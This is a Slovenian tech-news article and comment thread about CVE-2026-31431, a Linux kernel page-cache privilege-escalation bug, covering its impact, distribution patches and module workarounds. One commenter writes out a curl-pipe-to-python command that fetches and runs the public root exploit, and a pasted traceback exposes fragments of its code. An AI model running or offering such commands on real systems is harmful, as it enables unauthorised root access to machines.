» »

Ranljivost v vseh distribucijah Linuxa

Ranljivost v vseh distribucijah Linuxa

Slo-Tech - V praktično vseh distribucijah Linuxa od leta 2017 so odkrili resno ranljivost, ki lokalnemu uporabniku s kratko, 732 bajtov dolgo skripto v Pythonu omogoča pridobiti administratorski dostop. Delovanje so v praksi preverili v distribucijah Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 in SUSE 16 ter bili povsod uspešni. Koda, ki izkoristi omenjeno ranljivost z oznako CVE-2026-31431, je javno objavljena.

Gre za posledico hrošča v knjižnici authencesn. Lokalni uporabnik lahko s pisanjem v predpomnilnik strani (page cache) dadotekam spremeni oziroma pripne zastavico setuid in s tem pridobi vrhovne privilegije (root). Jedro sprememb ne označi za zapis nazaj na disk, zato datoteke ostanejo nespremenjene, se pa pri ponovnem dostopu uporabi spremenjena verzija iz predpomnilnika.

Pri izrabi ranljivosti jim je pomagala umetna inteligenca, čeprav so osnovno idejo razvili sami. Dokler se ne nadgradijo jedra v distribucijah, je možno ranljivost preprečiti z začasnimi ukrepi. Popravek za jedro že obstaja.

27 komentarjev

rekakitece ::

AI odkril?

mtosev ::

Upam, da zadevo čimprej zakrpajo.
Core i9 10900X, ASUS Prime X299 Edition 30, 32GB 4x8 3600Mhz G.skill, CM H500M,
ASUS ROG Strix RTX 2080 Super, Samsung 970 PRO, UltraSharp UP3017, Win 11 Pro,
Enermax Platimax 1700W | moj oče darko 1960-2016, moj labradorec max 2002-2013

pegasus ::

ITjevci širom sveta praznujemo praznik dela delavno :))

apcm ::

> Lokalni uporabnik lahko s pisanjem v predpomnilnik strani (page cache) dadotekam spremeni oziroma pripne zastavico setuid in s tem pridobi vrhovne privilegije (root)

neumnost. lokalni uporabnik lahko v page cacheu spremeni poljubne 4 bajte katerekoli datoteke, do katere ima že dostop za branje (r), ne more pa spreminjati zastavic z dovoljenji. če program nima setuid bita, ga torej ne more nastaviti, lahko pa obstoječi datoteki s setuid bitom spremeni vsebino, da mu dovoli dostop.

seveda napad nima nobene zveze s setuid, napadalec lahko cilja tudi na datoteko /etc/passwd in recimo sebe spremeni v root. to je občasno potrebno, ker na nekaterih distribucijah /usr/bin/su ni berljiv vsem (o-r; denimo na gentoo), kar je pogoj za izvajanje napada (berljivost datoteke), zato tam ta osnovni exploit ne deluje. So pa že spisali exploite, ki delujejo na drugih datotekah, denimo ta z /etc/passwd.

Zgodovina sprememb…

  • spremenilo: apcm ()

Ales ::

"V praktično vseh distribucijah Linuxa od leta 2017..."

To ne drži. V repozitoriju mainline kernela se je popravek pojavil 1.4.. Vse distribucije, ki hitreje sledijo mainline kernelu, ali pa so "slučajno" sveže, te ranljivosti v času včerajšnje javne objave niso imele več.

Npr. Arch Linux in Fedora ranljivosti nimata. Ubuntu 26.04 LTS je izšel pred kratkim in je nima, starejše verzije Ubuntu pa so ranljive.

Debian je ranljiv, SUSE in RedHat prav tako.

Te druge, bolj k stabilnosti naravnane distribucije, so žal ta popravek spregledale, čeprav jim je bil na voljo. Trenutno je (ponovno!) kar nekaj diskusije o tem, zakaj se je to zgodilo.

Obstaja namreč razkorak med stališčem vzdrževalcev kernela, ki ne želijo izpostavljati posameznih popravkov in so mnenja, da so vsi enakovredni, ter stališči takih distribucij, ki pa ne želijo v obstoječe kernele dodajati popravkov prav za vse odkrite napake.

Posledica... spregledan pomemben popravek.

rekakitece je izjavil:

AI odkril?

Ranljivost je odkril Taeyang Lee pri Xintu in potem uporabil njihovo LLM orodje za targetirano iskanje v kernel kodi. Zdaj LLM orodje seveda promovirajo v zameno za $$$... ;)

Zgodovina sprememb…

  • spremenil: Ales ()

Vedran ::

Canocial (Ubuntu) je zadel močan DDoS napad, večina infrastrukture je nedosegljiva.

Ali lahko kdo napiše kako ta ranljivost lahko prizadene navadnega uporabnika Ubuntu 24.04.2 LTS in kako se navadni uporabnik lahko zaščiti pred to ranljivostjo?

Randomness ::

Za navadne uporabnike ta ranljivost ni ne vem kako kritična. Seveda pa je priporočljivo, da sistem redno posodabljaš.

Zvezdica27 ::

torej še vedno moraš biti vsaj lokalni user, ki itak lahko, če parafraziram, s kaldivom potolče kišto ali pa reboota v recovery mode, kjer je...

naj zaflikajo in nehajo delat dramo.

zz

Randomness ::

Ne, fizičnega dostopa seveda ne rabiš. Zadošča oddaljena povezava.

Zvezdica27 ::

razumem, lahko se sshjaš gor, point je še vedno, da moraš biti user. In če gremo korak naprej, da imaš fizični dostop, pol imam pa prav - ker skor noben ne ve, da je po defaulty recovery enabled v večini distrotov, da kakega chroota ne omenjam z live usb, kar je stvar 5 min in tako naprej.

Govorim z vidika novice: za normalnega userja, da ti kdo zlorabi kišto, pustimo datacentre in serverje... torej, neke vrste fake news

zz

Jakka ::

Ubuntu 24.04.4 LTS, up-to-date, dajmo poskusit, če exploit deluje.
Glede na "Low Level @ Youtube" - - je test dokaj trivialen. Source: https://copy.fail/
Kernel je glede na prebrano ranljiv.

jakka@Ubuntu:~$ uname -a
Linux Ubuntu 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

jakka@Ubuntu:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
...


Enostavno - Zagon ukaza, ki prenese in zažene python skripto.

jakka@Ubuntu:~$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2707      0 --:--:-- --:--:-- --:--:--  2727
Traceback (most recent call last):
  File "<stdin>", line 9, in <module>
  File "<stdin>", line 5, in c
FileNotFoundError: [Errno 2] No such file or directory
jakka@Ubuntu:~$


Malo več dela - Prenos skripte, +x atribut in zagon.

jakka@Ubuntu:~/Downloads$ chmod +x copy_fail_exp.py 
jakka@Ubuntu:~/Downloads$ python3 copy_fail_exp.py 
Traceback (most recent call last):
  File "/home/jakka/Downloads/copy_fail_exp.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/jakka/Downloads/copy_fail_exp.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
                       ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory
jakka@Ubuntu:~/Downloads$


Kaj delam narobe? Pebkac?
Sicer napako izpiše, ampak ne razumem, za kateri file se gre.

Zgodovina sprememb…

  • spremenil: Jakka ()

Randomness ::

Preveri, če imaš že popatchan kernel

Ales ::

Jakka je izjavil:

Ubuntu 24.04.4 LTS, up-to-date, dajmo poskusit, če exploit deluje.

Po objavi ranljivosti je Ubuntu izdal posodobitev kmod paketa, s katero so blokirali uporabo ranljivega kernel modula. Če je tvoj sistem čisto up-to-date, si ranljivost že s tem popravkom blokiral.

Zvezdica27 je izjavil:

Govorim z vidika novice: za normalnega userja, da ti kdo zlorabi kišto, pustimo datacentre in serverje... torej, neke vrste fake news

zz

Nekateri ne moremo kar pustiti datacentre in serverje! :D

Drugače pa ja, bombastično napisana novica, kar je dandanes postalo "normalno". Z vidika uporabnika GNU/Linux računalnika/prenosnika je ta ranljivost dejansko precej manj kritična.

Vektor napada je lahko tudi na videz nedolžen program s skrito zlonamerno kodo, ki ga uporabnik zažene sam. Sicer tak trojanec itak lahko poskusi še celo vrsto drugih opcij za pridobitev root dostopa (sudo, ki ga uporabnik nastavi, da deluje brez gesla, recimo), ampak ta expoit je učinkovita pot za to.

Zgodovina sprememb…

  • spremenil: Ales ()

c3p0 ::

Zvezdica27 je izjavil:

razumem, lahko se sshjaš gor, point je še vedno, da moraš biti user. In če gremo korak naprej, da imaš fizični dostop, pol imam pa prav - ker skor noben ne ve, da je po defaulty recovery enabled v večini distrotov, da kakega chroota ne omenjam z live usb, kar je stvar 5 min in tako naprej.

Govorim z vidika novice: za normalnega userja, da ti kdo zlorabi kišto, pustimo datacentre in serverje... torej, neke vrste fake news

zz


Kje so časi, ko so praktično vsi servisi tekli kot root, npr. bind/DNS, Sendmail, ... Lepi časi. Nato so rekli: dajmo vsakemu servisu le to kar rabi in naj teče kot ločen uporabnik. Z nepatchano kišto prideš efektivno spet na to, da exploit za vsak servis lahko pomeni rootano kišto. Noben SSH ni potreben.

johnnyyy ::

Zvezdica27 je izjavil:

razumem, lahko se sshjaš gor, point je še vedno, da moraš biti user. In če gremo korak naprej, da imaš fizični dostop, pol imam pa prav - ker skor noben ne ve, da je po defaulty recovery enabled v večini distrotov, da kakega chroota ne omenjam z live usb, kar je stvar 5 min in tako naprej.

Govorim z vidika novice: za normalnega userja, da ti kdo zlorabi kišto, pustimo datacentre in serverje... torej, neke vrste fake news

zz

Pač to je odvisno od tega kako je sistem postavljen. Za nekoga ki računalnik uporablja kot PC (osebni računalnik), kjer je sam user in še root hkrati ta ranljivost nima nekega efekta. Kakor pa imaš računalnik, ki ga uporablja več ljudi fizično ali remote, pa je vse skupaj druga zgodba. Recimo s to ranljivostjo lahko nek javno dostopen računalnik v knjižnjici "okužiš" in inštaliraš keyloger. Če imaš računalnik v lasti podjetja in nimaš root pravic, si jih lahko dodaš.

In pri datacentrih in serverjih je podobna situacija. Nekateri uporabljajo virtualizacijo praktično za vsak sub proces in tako ni panike če nek php v lokalnem svetu teče kot root. Če pa imaš ssh z večimi uporabniki tam je pa druga zgodba.

Jakka ::

Ales, res je.

https://ubuntu.com/blog/copy-fail-vulne...
https://ubuntu.com/security/notices/USN...

jakka@Ubuntu:~$ apt list --installed | grep kmod

kmod/noble-security,now 31+20240202-2ubuntu7.2 amd64 [installed,automatic]
libkmod2/noble-security,now 31+20240202-2ubuntu7.2 amd64 [installed,automatic]


Na Ubuntu je bil "fix", da so v kmod onemogočili nalagajnje algif_aead modula. Kar se lahko naredi tudi na roko. Torej zaenkrat workaround.
Kernel v 24.04.4 LTS ostaja nepopatchan.

Ne najdem pa informacije, kaj je sploh namen in funkcija tega modula, omenja se LUKS (kar ne uporabljam) in podobno.
Google najde polno aktualnih copy.fail zadetkov, nič konkretnega pa o posledicah onemogočanja modula.

Vedran ::

Canocial (Ubuntu) je zadel močan DDoS napad v noči četrtek na petek in večina infrastrukture je bila nedosegljiva do danes. Skoraj dva dni vsi strežniki so bili nedosegljivi.

Jaz sem imel tako smolo, da sem v četrtek zvečer nastavljal na dva računalnika Ubuntu in med posodobitvijo se je zadeva prvo upočasnila, potem so se začele izpisovati napake in na koncu se je popolnoma ustavila. Računalnika sem naslednji dan odklopil iz omrežja, prvo formatiral nazaj na Windows in potem spet na Ubuntu zaradi varnosti glede mogoče okuženih posodobitev. Ali je to dovolj ali pa bi svetovali še kakšen dodaten ukrep?

In še eno vprašanje. Ali bi bilo potrebno tudi narediti 'factory reset' routerja prek katerega sta imela tista dva računalnika dostop do interneta zaradi varnostnih pomislekov?

thramos ::

DDoS Canonicala ne pomeni, da so njihovi strežniki ponujali okužene posodobitve. DDos bi sicer lahko bilo povezan z Copy Fail ranljivostjo v smislu, da so napadalci želeli preprečit, da bi ranljive žrtve hitro pridobile sveže popravke in da so si s tem kupili nekaj časa za izrabo ranljvosti. Ampak to nima pomena za vse ostale.

Kakorkoli, Copy Fail pomeni zgolj, da lahko obstoječi uporabnik (remote ali lokalen) Linux sistema pridobi root pravice. Če uporabnik prej ni imel dostopa, ga tudi z Copy Fail ne bo imel. Skratka, če računalnika ne uporablja nihče drug in ni omogočenih nobenih oddaljenih dostopov, potem ni razloga za paniko.

thramos ::

Težavo imajo predvsem tisti, ki nudijo npr. ssh dostop. Vsi uporabniki s to ranljivostjo lahko pridobijo root pravice.

Za npr. web strežnik, pa je potrebna najprej druga ranljivost samega web strežnika (ki teče z namenskim userjem), s katero napadalec pridobi dostop do nameskega uporabnika. Nato pa preko Copy Fail do roota. In vse implicije tega za containerje in Kubernetes, ... ;)

Ales ::

@Jakka, algif_aead je del kernelovega AF_ALG kriptografskega userspace API-ja.

Precej obskurna zadeva. Bolj znanih userspace programov, ki bi ta API dejansko uporabljali, skorajda ni ali pa ga uporabljajo za točno določeno postransko funkcijo, s fallbackom na userspace kriptografijo.

Obstaja nekaj namenskih programov, ki ta API uporabljajo, ampak uporabniki teh praviloma tudi vedo, da modul rabijo.

Skratka, z zelo veliko verjetnostjo nikjer ne boš opazil izklopa tega modula.

Omenil si LUKS diskovno enkripcijo - tudi če bi jo uporabljal, izklop algif_aead modula ne bi vplival na delovanje, ker dm-crypt do funkcij kriptiranja dostopa neposredno znotraj kernela in ne preko AF_ALG.

@Vedran, nisem zasledil, da bi se ob DDOS-u na Ubuntu skrival še kak MITM napad na prenos paketov. So se ob prenosu pojavili kaki paketi, kjer se kriptografski podpis ne sklada z legitimnim virom?

Zgodovina sprememb…

  • spremenil: Ales ()

Vedran ::

@Ales , nov sem uporabnik Ubuntu operacijskega sistema tako, da ne vem.

Ali obstaja kakšna razlika med zagonom posodobitev prek terminala in GUI?

DamijanD ::

Razlika v kakšnem smislu?

Vedran ::

@DamijanD, so kake razlike glede obsega posodobitve?

Kaj je boljše izbrati pri posodobitvi operacijskega sistema prek GUI 'Continue' ili 'Partial Update'?

Zgodovina sprememb…

  • spremenil: Vedran ()

Daniel ::

Pognal apt update && apt upgrade na obeh instancah izpostavljenih spletu. Menda bo ok.

Jakka ::

@Ales, hvala. Sicer sem v enem threadu na reddit-u zasledil enovrstično opazko, da se ta modul praktično nikjer ne uporablja. Ampak vseeno je boljša potrditev.

Kernel 7.0 je že doživel cleanup legacy zadev. Očitno bo treba spucati še kaj.

@Vedran, za začetek uporabljaj Software Updater (GUI), check for updates, next, next,... Software updater uporablja "apt", ki ga lahko ročno zaganjaš tudi sam preko konzole. Osnova je identična, rezultat je enak. Upoštevaj še, da je Ubuntu osnovan na Debian-u, kar pomeni veliko podobnosti.
https://medium.com/@ravipatel.it/introd...
https://manpages.ubuntu.com/manpages/ja...

Do problemov ob prekinitvi posodobitev lahko pride, če se posodobitev ne izvede do konca, saj so določene komponente sistema lahko odvisne od specifične verzije druge komponente sistema. Po domače, če se kakšen del ne posodobi, kak drug del preneha delovati. https://the.hosting/en/help/what-are-de...
Načeloma se posodobitve izvedejo brez problemov in do tega ne pride.

@Vedran, kot začetnik si lahko prebereš kakšno knjigo o Linux-u, na primer "Linux Essentials - Smith, Roderick W." (https://edu.anarcho-copy.org/GNU%20Linu..., ti bo bolj jasno ozadje OS-a.
Ter vezano na disk (SSD) pogledaš kaj je MBR/GPT, kaj so particije (partitions) in datotečni sistemi (filesystems). Računalnika se ravno ne "formatira" (če že, se formatira particijo na disku; "v Windows C: tudi ni disk"), pa tudi nameščanje Windows preko Linux za izbris podatkov na disku ni potrebno. Treba je samo narediti ponovno inštalacijo OS (Linux) in med izvedbo nameščanja rekreirati particije na disku (samodejno ali ročno).
Primer videa na Youtube
Pa v Ubuntu zaženi "gparted" in si poglej strukturo particij na disku, kjer je Ubuntu že nameščen.

johnnyyy ::

Jakka je izjavil:

Ne najdem pa informacije, kaj je sploh namen in funkcija tega modula, omenja se LUKS (kar ne uporabljam) in podobno.
Google najde polno aktualnih copy.fail zadetkov, nič konkretnega pa o posledicah onemogočanja modula.

To je layer, ki omogoča, da programi iz userspace dostopajo do kernel crypto implementacij. Stvar se je začela razvijati cca 15 let nazaj, ko šifriranje še ni blo HW podprto na CPU in si rabil za strojno pospeševanje svoj HW, SW implementacije pa so bile počasne. Tako si imel kernel driver, ki je preslikal HW crypto accelerator v kernel API, preko teh modulov pa so aplikacije/knjižnjice iz userspace (recimo openssl) dostopale do HW. Z implementacijo SIMD in crypto extensionov v CPU pa so stvari postale hitre in enostavne, da le redke knižnjice/programi na novejših arhitekturah danes uporabljajo to.

Iz tega vidika je ta bug izjemno grd, ker večina modula sploh realno ne uporablja, je pa vključen v praktično v vse distribucije.

Zimonem ::

Problem ni zgolj je/ni nevarna sama po sebi. Je zelo nevarna v kombinaciji z ostalimi ranljivostmi.


Vredno ogleda ...

TemaSporočilaOglediZadnje sporočilo
TemaSporočilaOglediZadnje sporočilo
»

Ranljivost v vseh distribucijah Linuxa

Oddelek: Novice / Varnost
274444 (1293) Zimonem
»

Ranljivost v Linuxu in Androidu prisotna tri leta (strani: 1 2 )

Oddelek: Novice / Varnost
7429171 (24510) SeMiNeSanja
»

Ranljivost v Mac OS X Lion omogoča manipulacijo gesel (strani: 1 2 )

Oddelek: Novice / Varnost
5418192 (16279) MrStein
»

Nova zloraba v Linux jedru 2.6.31 omogoča dvig privilegijev uporabnika

Oddelek: Novice / Varnost
455060 (3516) denial

Več podobnih tem